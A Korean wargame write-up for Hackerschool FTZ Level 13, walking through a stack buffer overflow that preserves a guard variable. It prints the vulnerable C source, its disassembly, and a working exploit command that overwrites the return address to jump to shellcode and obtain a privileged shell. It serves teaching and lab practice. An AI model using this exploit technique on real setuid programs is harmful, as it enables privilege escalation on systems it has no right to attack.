0. 들어가기 전에
또 다시 나온 BOF 문제이다. 하지만 이번 문제는 아주 조금 더 어려운게, 중간에 long i라는 값을 끼워넣어서, 이 값이 변조되었을 경우는 프로그램의 실행을 거부하는 형식의, 아주 기초적인 방어를 하고 있다. 이런 경우에는 그냥 Dummy코드를 짤 때, 저 long i 변수의 정확한 위치를 파악해서 Dummy코드 사이 i값이 오는 위치에 i 값을 정확하게 넣어주면 된다. 바로 코드로 들어가보자.
1. Level 13
일단 hint를 확인해 보면 attackme의 소스코드가 다음과 같이 나온다.
#include <stdlib.h>
main(int argc, char *argv[])
{
long i=0x1234567;
char buf[1024];
setreuid( 3094, 3094 );
if(argc > 1)
strcpy(buf,argv[1]);
if(i != 0x1234567) {
printf(" Warnning: Buffer Overflow !!! \n");
kill(0,11);
}
}
“들어가기 전에” 에서 설명했지만, 이번에는 i값이 위조되었는지를 확인하는 코드가 if 문에 작성되어있다. 따라서 우리의 더미 데이터에도 i의 본래 값이 들어가있어야 한다.
얼른 카피해서 test 파일을 만들고 gdb로 disassemble 해보자. disassemble 하니 다음과 같은 어셈블리 코드가 실행되었다는 것을 알 수 있다.
0x080483c8 <main+0>: push ebp
0x080483c9 <main+1>: mov ebp,esp
0x080483cb <main+3>: sub esp,0x418
0x080483d1 <main+9>: and esp,0xfffffff0
0x080483d4 <main+12>: mov eax,0x0
0x080483d9 <main+17>: sub esp,eax
0x080483db <main+19>: mov DWORD PTR [ebp-12],0x1234567
0x080483e2 <main+26>: sub esp,0x8
0x080483e5 <main+29>: push 0xc16
0x080483ea <main+34>: push 0xc16
0x080483ef <main+39>: call 0x80482e8 <setreuid>
0x080483f4 <main+44>: add esp,0x10
0x080483f7 <main+47>: cmp DWORD PTR [ebp+8],0x1
0x080483fb <main+51>: jle 0x8048417 <main+79>
0x080483fd <main+53>: sub esp,0x8
0x08048400 <main+56>: mov eax,DWORD PTR [ebp+12]
0x08048403 <main+59>: add eax,0x4
0x08048406 <main+62>: push DWORD PTR [eax]
0x08048408 <main+64>: lea eax,[ebp-1048]
0x0804840e <main+70>: push eax
0x0804840f <main+71>: call 0x8048308 <strcpy>
0x08048414 <main+76>: add esp,0x10
확인해 보니 우리의 1024크기의 배열은 ebp-1048번째 위치에 생성되었고, i의 값은 ebp-12의 위치에 생성되었다. 이를 이용해 대략적인 레지스터의 스택을 파악해볼 수 있다. 다음의 그림을 그려보았다.

쉘코드를 짜고, 주소를 확인해보니 다음과 같다 :
./getenv => 0xbffffc1a => \x1a\xfc\xff\xbf // 원래 주소를 little endian으로 변환했다.
환경변수의 생성과 주소 파악하는법에 대해 모른다면 다음의 글을 참조하자! : FTZ Level 12
이제 필요한 도구가 모두 모였다. attackme 함수를 실행하고, argv로 다음과 같은 문장을 넘겨주자.
./attackme `python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\x1a\xfc\xff\xbf"'`
설명하자면 1036개의 NOP 더미를 넘기고, ebp-8시점에서 i의 주소값을 정확히 정의했으며, 그 후에 또 12개의 NOP 더미를 넘기고 나서 shell코드의 주소를 넘겨주었다.
이해가 가지 않는다면 위의 그림을 다시한번 확인해보자. 실행시키니 shell을 얻을 수 있었다. my-pass로 비밀번호를 확인하였다.
비밀번호 : what the n(여러분들이 아는 그 후드의 단어..) want? (FTZ가 미친듯 하다. 내 외국인 친구들도 보는 블로그라 단어를 쓰진 않겠다..)
Source
- 해커스쿨 FTZ
- Me!